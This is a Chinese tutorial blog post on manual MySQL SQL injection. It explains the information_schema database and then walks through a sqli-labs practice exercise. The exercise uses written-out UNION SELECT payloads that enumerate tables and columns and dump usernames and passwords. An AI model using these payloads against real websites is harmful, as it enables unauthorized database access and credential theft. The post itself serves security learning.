mysql 手注入之information_schema数据库详解

2019-08-12 14:28:07 admin

一、作为一个半道出家的萌新,深知在web安全这条路上的艰辛,中间的曲折估计只有自己知道,这里对之前个人的理解做一个简单的总结,希望能对您有帮助,大佬们勿喷,谢谢!




二、MySQL数据库简介


知己知彼,百战不殆,要想玩好SQL注入必须了解数据库的结构,这里针对MySQL的结构简单做个总结。

1、库(database):MySQL数据库可以创建多个数据库,如果把MySQL数据库比作我们中国,那么每个图书馆都可以理解为一个库,比如山大图书馆就是一个数据库,那么山大图书馆就是这个库的库名,如下图;   

图书馆:


而在数据库中它是这样的:



2、表(table):表可以理解为存在于库中的二级目录,接上例子:类似于图书馆里的的书架,一个书架就是一个表,书架上贴的分类标签就是表名。


书架:



而在数据库中是这样的:


 


3、列(column):列是存在于表中的目录,一个表中存在一个或多个列,继续接上例子,假设表是书架,那么列可以理解为书架中的格子,格子上又贴着细分的标签,那么标签就是列名。

书架上的标签:



在数据库中他是这样的:



4、值/字段内容(value):值是存在于列中的数据,还是上面的例子,那么值就好理解了,那就是书了,这里不再配图。
为了更直观这里用PHPstudy里的数据库web管理页面展示,它在数据库中是下图这样的:



5、information_schema库介绍

information_schema数据库是Mysql下的一个存放其他数据库所有内容的信息数据库,它有多个表,通常所有的查询都要经过这个库查询,这里只对个别相关的表做介绍。


Schema表:
schema表有五个列,其中schema_name是用来存放数据库库名的列。




tables表:
tables表用来存储所有数据库里的表名等信息,其中table_schema列用来存放所有数据库的库名,table_name用来存放MySQL数据库中的所有表名。




 
columns表:
columns表用来存放数据库里的所有字段信息其中table_schema列用来存放数据库库名,table_name列用来存放所有数据库里的所有表名,column_name列用来存放所有的字段/内容(值)。


  

三、手工注入简介

了解了数据库结构了,下面这里进行以下简单的复现,这里使用的环境是phpstudy+sqli-lab

1.单引号报错



2.and 1=1 判断,返回正常



3.and 1=2 ,返回错误



4.判断出注入时,首先利用order by子句(默认升序)结合折中法,爆出当前列数,猜到4时报错,猜到3时正常,说明列数为3。




5.爆出的长度为3,参数值想办法让其报错(可以加负号等),然后进行联合查询?id=-1 union select 1,2,3  爆出位置2和3。



6.爆出2,3的位置后,尝试用内置函数读取库名等信息,这里补充下常见的内置函数。

version()--mysql版本
user()--数据库用户
database()--数据库名
@datadir--数据库路径
@@versioncompileos--操作系统
继续接上,这里用在2,3的位置上查询user和库名,?id=-1 union select 


1,user(),dabatase() ,爆出了账户、登陆方式和数据库名。
 


7.接下来爆表名,这就用到了上面的information_schema这个库,在2或者3的位置构造查询语句,细分四个部分:


(1)用点连接库下存放表名的tables表
(2)然后用where来精确查询存放在table_schema中的库名
(3)用limit函数来进行遍历
(4)用-- 注释防止报错


最终payload为:union select 1,2,table_name from information_schema.tables where table_schema=’security’ limit 1,1 --+

爆出了users表


8.爆出表名后,接下来爆想要的列名,思路如上,遍历出想要的字段,username和password。


最终payload为:union select 1,2,column_name from information_schema.columns where table_schema=’security’and table_name=’users’ limit 1,1 --+


修改limit函数遍历第二个想要的列名 union select 1,2,column_name from information_schema.columns where table_schema=’security’and table_name=’users’ limit 2,1 --+



9.最后进行常规联合查询即可 payload: union select 1,username,password from users limit 1,1 --+


Ps:不一定需要limit() 还有许多函数,其他自行百度,如有错误请指教,谢谢。


服务热线

17884544032

公司地址

安徽省合肥市蜀山区鑫鹏大厦

作息时间

周一至周五 9:00-18:00